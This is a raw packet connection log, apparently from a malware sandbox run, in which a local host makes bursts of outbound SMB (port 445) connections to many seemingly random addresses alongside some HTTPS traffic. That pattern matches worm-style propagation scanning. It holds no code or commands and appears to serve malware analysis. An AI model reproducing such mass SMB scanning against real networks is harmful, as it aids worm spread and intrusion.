Jul 21, 2022 04:35:44.750089884 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.750112057 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.750222921 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.750258923 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.750292063 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.750303984 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.750315905 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.750349045 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.750413895 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.768841982 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.768887997 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.768906116 CEST	52586	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:44.768915892 CEST	443	52586	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:44.892577887 CEST	52635	445	192.168.2.6	207.180.242.28
Jul 21, 2022 04:35:44.914601088 CEST	445	52635	207.180.242.28	192.168.2.6
Jul 21, 2022 04:35:44.923855066 CEST	52636	445	192.168.2.6	110.150.15.41
Jul 21, 2022 04:35:44.924422026 CEST	52637	445	192.168.2.6	198.7.155.24
Jul 21, 2022 04:35:45.017757893 CEST	52642	445	192.168.2.6	141.40.4.69
Jul 21, 2022 04:35:45.083658934 CEST	52643	445	192.168.2.6	126.99.175.194
Jul 21, 2022 04:35:45.085167885 CEST	52645	445	192.168.2.6	15.115.85.36
Jul 21, 2022 04:35:45.173778057 CEST	52646	445	192.168.2.6	141.218.82.86
Jul 21, 2022 04:35:45.175687075 CEST	52648	445	192.168.2.6	187.13.99.227
Jul 21, 2022 04:35:45.176318884 CEST	52649	445	192.168.2.6	10.54.122.15
Jul 21, 2022 04:35:45.209341049 CEST	52650	445	192.168.2.6	92.87.197.94
Jul 21, 2022 04:35:45.209573030 CEST	52651	445	192.168.2.6	17.62.224.123
Jul 21, 2022 04:35:45.209636927 CEST	52653	445	192.168.2.6	140.129.222.244
Jul 21, 2022 04:35:45.209708929 CEST	52654	445	192.168.2.6	48.47.250.94
Jul 21, 2022 04:35:45.209786892 CEST	52656	445	192.168.2.6	179.135.123.46
Jul 21, 2022 04:35:45.209799051 CEST	52657	445	192.168.2.6	198.219.242.22
Jul 21, 2022 04:35:45.221601009 CEST	52665	445	192.168.2.6	140.244.103.137
Jul 21, 2022 04:35:45.221734047 CEST	52666	445	192.168.2.6	11.20.226.125
Jul 21, 2022 04:35:45.221910000 CEST	52667	445	192.168.2.6	114.189.112.117
Jul 21, 2022 04:35:45.221971035 CEST	52668	445	192.168.2.6	37.23.19.91
Jul 21, 2022 04:35:45.253041029 CEST	52670	445	192.168.2.6	33.4.254.95
Jul 21, 2022 04:35:45.253079891 CEST	52669	445	192.168.2.6	133.133.106.67
Jul 21, 2022 04:35:45.253115892 CEST	52671	445	192.168.2.6	77.221.58.224
Jul 21, 2022 04:35:45.253472090 CEST	52672	445	192.168.2.6	88.206.177.42
Jul 21, 2022 04:35:45.253958941 CEST	52673	445	192.168.2.6	122.101.50.161
Jul 21, 2022 04:35:45.254468918 CEST	52674	445	192.168.2.6	45.218.26.175
Jul 21, 2022 04:35:45.254976988 CEST	52675	445	192.168.2.6	59.149.88.48
Jul 21, 2022 04:35:45.255450964 CEST	52676	445	192.168.2.6	73.245.64.229
Jul 21, 2022 04:35:45.255943060 CEST	52677	445	192.168.2.6	33.10.44.247
Jul 21, 2022 04:35:45.256578922 CEST	52678	445	192.168.2.6	97.167.211.22
Jul 21, 2022 04:35:45.257600069 CEST	52680	445	192.168.2.6	120.151.122.127
Jul 21, 2022 04:35:45.258137941 CEST	52681	445	192.168.2.6	128.18.163.226
Jul 21, 2022 04:35:45.464504004 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.464550972 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.465730906 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.466027021 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.466042995 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.563800097 CEST	52635	445	192.168.2.6	207.180.242.28
Jul 21, 2022 04:35:45.586285114 CEST	445	52635	207.180.242.28	192.168.2.6
Jul 21, 2022 04:35:45.603738070 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.603859901 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.606038094 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.606051922 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.606388092 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.607554913 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.652498007 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694025040 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694070101 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694098949 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694148064 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.694179058 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694195986 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.694232941 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.694242001 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694263935 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694292068 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694305897 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.694319010 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694340944 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.694365978 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.694365978 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694382906 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694413900 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.694479942 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.694530010 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.696980000 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.697010040 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.697030067 CEST	52685	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:45.697038889 CEST	443	52685	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:45.791501999 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:45.791549921 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:45.791702986 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:45.792090893 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:45.792109966 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:45.970710039 CEST	52692	445	192.168.2.6	207.180.242.29
Jul 21, 2022 04:35:46.048815012 CEST	52693	445	192.168.2.6	170.81.64.223
Jul 21, 2022 04:35:46.049309015 CEST	52694	445	192.168.2.6	189.4.162.221
Jul 21, 2022 04:35:46.143507957 CEST	52698	445	192.168.2.6	84.55.122.118
Jul 21, 2022 04:35:46.190848112 CEST	52699	445	192.168.2.6	178.147.91.116
Jul 21, 2022 04:35:46.190901041 CEST	52700	445	192.168.2.6	151.101.54.92
Jul 21, 2022 04:35:46.294187069 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.294280052 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.305818081 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.305840969 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.306248903 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.306426048 CEST	52702	445	192.168.2.6	120.214.112.187
Jul 21, 2022 04:35:46.308443069 CEST	52704	445	192.168.2.6	117.186.227.150
Jul 21, 2022 04:35:46.308556080 CEST	52705	445	192.168.2.6	5.34.206.89
Jul 21, 2022 04:35:46.308834076 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.330626965 CEST	52706	445	192.168.2.6	30.27.99.205
Jul 21, 2022 04:35:46.331259966 CEST	52708	445	192.168.2.6	35.134.36.221
Jul 21, 2022 04:35:46.331377029 CEST	52710	445	192.168.2.6	85.202.12.33
Jul 21, 2022 04:35:46.331440926 CEST	52707	445	192.168.2.6	48.199.70.106
Jul 21, 2022 04:35:46.331464052 CEST	52711	445	192.168.2.6	173.119.123.16
Jul 21, 2022 04:35:46.331563950 CEST	52713	445	192.168.2.6	95.72.47.43
Jul 21, 2022 04:35:46.337798119 CEST	52721	445	192.168.2.6	149.173.73.221
Jul 21, 2022 04:35:46.337817907 CEST	52722	445	192.168.2.6	181.9.48.204
Jul 21, 2022 04:35:46.337898016 CEST	52723	445	192.168.2.6	139.230.183.38
Jul 21, 2022 04:35:46.337976933 CEST	52724	445	192.168.2.6	60.247.130.130
Jul 21, 2022 04:35:46.356501102 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.377911091 CEST	52725	445	192.168.2.6	34.143.216.95
Jul 21, 2022 04:35:46.378622055 CEST	52726	445	192.168.2.6	50.111.202.33
Jul 21, 2022 04:35:46.379559994 CEST	52727	445	192.168.2.6	206.191.205.21
Jul 21, 2022 04:35:46.380219936 CEST	52728	445	192.168.2.6	23.231.28.135
Jul 21, 2022 04:35:46.380889893 CEST	52729	445	192.168.2.6	212.208.180.99
Jul 21, 2022 04:35:46.381582022 CEST	52730	445	192.168.2.6	117.229.24.62
Jul 21, 2022 04:35:46.382242918 CEST	52731	445	192.168.2.6	37.174.206.34
Jul 21, 2022 04:35:46.382925987 CEST	52732	445	192.168.2.6	220.128.207.149
Jul 21, 2022 04:35:46.384756088 CEST	52733	445	192.168.2.6	162.200.126.29
Jul 21, 2022 04:35:46.393322945 CEST	52735	445	192.168.2.6	141.166.107.8
Jul 21, 2022 04:35:46.393836021 CEST	52736	445	192.168.2.6	129.10.17.97
Jul 21, 2022 04:35:46.394628048 CEST	52737	445	192.168.2.6	107.232.206.115
Jul 21, 2022 04:35:46.639211893 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639250040 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639278889 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639381886 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.639415026 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639435053 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.639441013 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639473915 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639477968 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.639493942 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639507055 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.639549971 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639558077 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.639569998 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639602900 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.639658928 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.639710903 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.642378092 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.642414093 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.642498970 CEST	52689	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:46.642510891 CEST	443	52689	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:46.764585018 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.764621019 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.766680002 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.768115997 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.768135071 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.871216059 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.871314049 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.873440981 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.873454094 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.873780012 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.874922991 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.874974966 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.874983072 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.875123024 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.906814098 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.906930923 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:46.907025099 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.915332079 CEST	52743	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:35:46.915366888 CEST	443	52743	20.199.120.85	192.168.2.6
Jul 21, 2022 04:35:47.048880100 CEST	52749	445	192.168.2.6	207.180.242.30
Jul 21, 2022 04:35:47.071985006 CEST	445	52749	207.180.242.30	192.168.2.6
Jul 21, 2022 04:35:47.175170898 CEST	52750	445	192.168.2.6	184.44.35.200
Jul 21, 2022 04:35:47.175184965 CEST	52751	445	192.168.2.6	77.67.245.133
Jul 21, 2022 04:35:47.183474064 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.183528900 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.184304953 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.184756994 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.184782028 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.267793894 CEST	52756	445	192.168.2.6	28.59.74.145
Jul 21, 2022 04:35:47.315280914 CEST	52757	445	192.168.2.6	120.225.68.139
Jul 21, 2022 04:35:47.316490889 CEST	52758	445	192.168.2.6	198.123.39.127
Jul 21, 2022 04:35:47.409620047 CEST	52760	445	192.168.2.6	125.26.171.78
Jul 21, 2022 04:35:47.409698009 CEST	52761	445	192.168.2.6	44.191.13.52
Jul 21, 2022 04:35:47.409831047 CEST	52762	445	192.168.2.6	71.95.140.10
Jul 21, 2022 04:35:47.423373938 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:47.440680981 CEST	52764	445	192.168.2.6	155.193.36.7
Jul 21, 2022 04:35:47.442001104 CEST	52765	445	192.168.2.6	126.171.120.41
Jul 21, 2022 04:35:47.444350004 CEST	52767	445	192.168.2.6	15.96.38.165
Jul 21, 2022 04:35:47.445743084 CEST	52768	445	192.168.2.6	52.84.233.52
Jul 21, 2022 04:35:47.446952105 CEST	52769	445	192.168.2.6	79.246.123.95
Jul 21, 2022 04:35:47.448121071 CEST	52770	445	192.168.2.6	45.84.226.169
Jul 21, 2022 04:35:47.449697971 CEST	52771	445	192.168.2.6	2.191.77.186
Jul 21, 2022 04:35:47.450232983 CEST	52772	445	192.168.2.6	85.23.143.70
Jul 21, 2022 04:35:47.450699091 CEST	52773	445	192.168.2.6	47.44.116.220
Jul 21, 2022 04:35:47.454255104 CEST	52781	445	192.168.2.6	2.147.134.42
Jul 21, 2022 04:35:47.507889032 CEST	52783	445	192.168.2.6	120.183.120.74
Jul 21, 2022 04:35:47.508230925 CEST	52784	445	192.168.2.6	46.84.80.62
Jul 21, 2022 04:35:47.508773088 CEST	52785	445	192.168.2.6	212.231.178.139
Jul 21, 2022 04:35:47.508852959 CEST	52787	445	192.168.2.6	67.175.66.133
Jul 21, 2022 04:35:47.509011030 CEST	52786	445	192.168.2.6	197.71.60.91
Jul 21, 2022 04:35:47.509083986 CEST	52788	445	192.168.2.6	100.217.180.211
Jul 21, 2022 04:35:47.509190083 CEST	52789	445	192.168.2.6	21.201.129.170
Jul 21, 2022 04:35:47.509211063 CEST	52790	445	192.168.2.6	178.192.197.46
Jul 21, 2022 04:35:47.520385981 CEST	52791	445	192.168.2.6	98.56.207.143
Jul 21, 2022 04:35:47.520503044 CEST	52792	445	192.168.2.6	192.5.112.87
Jul 21, 2022 04:35:47.520787954 CEST	52794	445	192.168.2.6	33.78.198.185
Jul 21, 2022 04:35:47.520884991 CEST	52795	445	192.168.2.6	66.90.205.219
Jul 21, 2022 04:35:47.589855909 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.590063095 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.659593105 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.659650087 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.660065889 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.661166906 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.704507113 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.751616001 CEST	52749	445	192.168.2.6	207.180.242.30
Jul 21, 2022 04:35:47.774430037 CEST	445	52749	207.180.242.30	192.168.2.6
Jul 21, 2022 04:35:47.926259041 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926331043 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926394939 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926469088 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.926489115 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926522970 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.926548004 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.926568031 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926625013 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926665068 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.926673889 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926743984 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.926752090 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926767111 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.926770926 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926810026 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.926841974 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.926902056 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.930943966 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.930965900 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:47.930974007 CEST	52752	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:47.930979967 CEST	443	52752	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:48.131413937 CEST	52802	445	192.168.2.6	207.180.242.31
Jul 21, 2022 04:35:48.132220030 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.132277012 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.132369041 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.134041071 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.134082079 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.278810978 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.278920889 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.287431002 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.287458897 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.288036108 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.289381981 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.302156925 CEST	52807	445	192.168.2.6	206.52.79.106
Jul 21, 2022 04:35:48.332509041 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.378729105 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.378758907 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.378782988 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.378926039 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.378961086 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.378978014 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.379024029 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.379115105 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.379189014 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.380973101 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.381002903 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.381015062 CEST	52803	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:48.381021976 CEST	443	52803	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:48.396579981 CEST	52812	445	192.168.2.6	41.205.10.124
Jul 21, 2022 04:35:48.471338034 CEST	52813	445	192.168.2.6	123.96.233.50
Jul 21, 2022 04:35:48.472631931 CEST	52814	445	192.168.2.6	204.173.0.177
Jul 21, 2022 04:35:48.596581936 CEST	52818	445	192.168.2.6	30.150.45.195
Jul 21, 2022 04:35:48.596878052 CEST	52826	445	192.168.2.6	201.179.7.64
Jul 21, 2022 04:35:48.596951962 CEST	52827	445	192.168.2.6	45.159.125.102
Jul 21, 2022 04:35:48.597021103 CEST	52828	445	192.168.2.6	22.39.214.27
Jul 21, 2022 04:35:48.597103119 CEST	52829	445	192.168.2.6	95.67.152.57
Jul 21, 2022 04:35:48.597174883 CEST	52830	445	192.168.2.6	57.31.5.252
Jul 21, 2022 04:35:48.597258091 CEST	52831	445	192.168.2.6	140.155.162.157
Jul 21, 2022 04:35:48.597330093 CEST	52832	445	192.168.2.6	104.169.162.120
Jul 21, 2022 04:35:48.597414970 CEST	52834	445	192.168.2.6	10.191.218.29
Jul 21, 2022 04:35:48.597484112 CEST	52835	445	192.168.2.6	35.251.143.242
Jul 21, 2022 04:35:48.597553968 CEST	52836	445	192.168.2.6	84.54.194.103
Jul 21, 2022 04:35:48.597620010 CEST	52837	445	192.168.2.6	150.38.205.97
Jul 21, 2022 04:35:48.597707033 CEST	52839	445	192.168.2.6	140.67.161.212
Jul 21, 2022 04:35:48.616981030 CEST	52840	445	192.168.2.6	83.248.143.195
Jul 21, 2022 04:35:48.617567062 CEST	52841	445	192.168.2.6	149.193.65.2
Jul 21, 2022 04:35:48.618151903 CEST	52842	445	192.168.2.6	5.34.191.198
Jul 21, 2022 04:35:48.618657112 CEST	52843	445	192.168.2.6	168.212.235.53
Jul 21, 2022 04:35:48.619189024 CEST	52844	445	192.168.2.6	184.45.120.222
Jul 21, 2022 04:35:48.619653940 CEST	52845	445	192.168.2.6	50.215.156.12
Jul 21, 2022 04:35:48.620438099 CEST	52846	445	192.168.2.6	47.99.214.183
Jul 21, 2022 04:35:48.620984077 CEST	52847	445	192.168.2.6	106.104.153.115
Jul 21, 2022 04:35:48.685476065 CEST	445	52842	5.34.191.198	192.168.2.6
Jul 21, 2022 04:35:49.251708031 CEST	52842	445	192.168.2.6	5.34.191.198
Jul 21, 2022 04:35:49.262644053 CEST	52849	445	192.168.2.6	19.0.222.163
Jul 21, 2022 04:35:49.263223886 CEST	52850	445	192.168.2.6	157.103.233.37
Jul 21, 2022 04:35:49.263899088 CEST	52851	445	192.168.2.6	21.186.147.3
Jul 21, 2022 04:35:49.264312029 CEST	52852	445	192.168.2.6	84.32.170.23
Jul 21, 2022 04:35:49.290376902 CEST	445	52842	5.34.191.198	192.168.2.6
Jul 21, 2022 04:35:49.360683918 CEST	52854	445	192.168.2.6	207.180.242.32
Jul 21, 2022 04:35:49.383613110 CEST	445	52854	207.180.242.32	192.168.2.6
Jul 21, 2022 04:35:49.471291065 CEST	52864	445	192.168.2.6	31.212.183.130
Jul 21, 2022 04:35:49.471787930 CEST	52865	445	192.168.2.6	59.103.212.54
Jul 21, 2022 04:35:49.579718113 CEST	52869	445	192.168.2.6	54.226.73.204
Jul 21, 2022 04:35:49.596415043 CEST	52870	445	192.168.2.6	91.115.197.71
Jul 21, 2022 04:35:49.597136021 CEST	52871	445	192.168.2.6	129.154.241.91
Jul 21, 2022 04:35:49.726777077 CEST	52874	445	192.168.2.6	58.245.43.104
Jul 21, 2022 04:35:49.727732897 CEST	52876	445	192.168.2.6	139.120.143.94
Jul 21, 2022 04:35:49.729204893 CEST	52879	445	192.168.2.6	204.63.61.93
Jul 21, 2022 04:35:49.729732037 CEST	52880	445	192.168.2.6	194.89.55.21
Jul 21, 2022 04:35:49.730236053 CEST	52881	445	192.168.2.6	88.205.32.12
Jul 21, 2022 04:35:49.730748892 CEST	52882	445	192.168.2.6	3.177.219.102
Jul 21, 2022 04:35:49.731255054 CEST	52883	445	192.168.2.6	73.15.131.217
Jul 21, 2022 04:35:49.731750965 CEST	52884	445	192.168.2.6	137.18.10.182
Jul 21, 2022 04:35:49.732424974 CEST	52885	445	192.168.2.6	212.103.12.223
Jul 21, 2022 04:35:49.733406067 CEST	52887	445	192.168.2.6	183.0.117.214
Jul 21, 2022 04:35:49.733891964 CEST	52888	445	192.168.2.6	213.30.8.78
Jul 21, 2022 04:35:49.734420061 CEST	52889	445	192.168.2.6	76.58.93.190
Jul 21, 2022 04:35:49.880506039 CEST	52890	445	192.168.2.6	146.243.135.97
Jul 21, 2022 04:35:49.883459091 CEST	52896	445	192.168.2.6	146.163.166.232
Jul 21, 2022 04:35:49.883987904 CEST	52897	445	192.168.2.6	190.72.206.193
Jul 21, 2022 04:35:49.886522055 CEST	52898	445	192.168.2.6	191.21.150.89
Jul 21, 2022 04:35:49.886811972 CEST	52899	445	192.168.2.6	51.216.193.75
Jul 21, 2022 04:35:49.886822939 CEST	52900	445	192.168.2.6	201.214.214.134
Jul 21, 2022 04:35:49.886954069 CEST	52901	445	192.168.2.6	34.149.198.82
Jul 21, 2022 04:35:49.887001038 CEST	52902	445	192.168.2.6	17.201.131.159
Jul 21, 2022 04:35:49.887051105 CEST	52903	445	192.168.2.6	218.209.21.127
Jul 21, 2022 04:35:49.905075073 CEST	445	52901	34.149.198.82	192.168.2.6
Jul 21, 2022 04:35:49.962255955 CEST	52854	445	192.168.2.6	207.180.242.32
Jul 21, 2022 04:35:49.985230923 CEST	445	52854	207.180.242.32	192.168.2.6
Jul 21, 2022 04:35:50.564327955 CEST	52901	445	192.168.2.6	34.149.198.82
Jul 21, 2022 04:35:50.565047979 CEST	52854	445	192.168.2.6	207.180.242.32
Jul 21, 2022 04:35:50.580996990 CEST	445	52901	34.149.198.82	192.168.2.6
Jul 21, 2022 04:35:50.587805986 CEST	445	52854	207.180.242.32	192.168.2.6
Jul 21, 2022 04:35:51.251866102 CEST	52901	445	192.168.2.6	34.149.198.82
Jul 21, 2022 04:35:51.268537998 CEST	445	52901	34.149.198.82	192.168.2.6
Jul 21, 2022 04:35:51.573795080 CEST	52904	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:51.649785042 CEST	52905	445	192.168.2.6	207.180.242.33
Jul 21, 2022 04:35:51.672600031 CEST	445	52905	207.180.242.33	192.168.2.6
Jul 21, 2022 04:35:51.739398003 CEST	52907	445	192.168.2.6	199.155.118.24
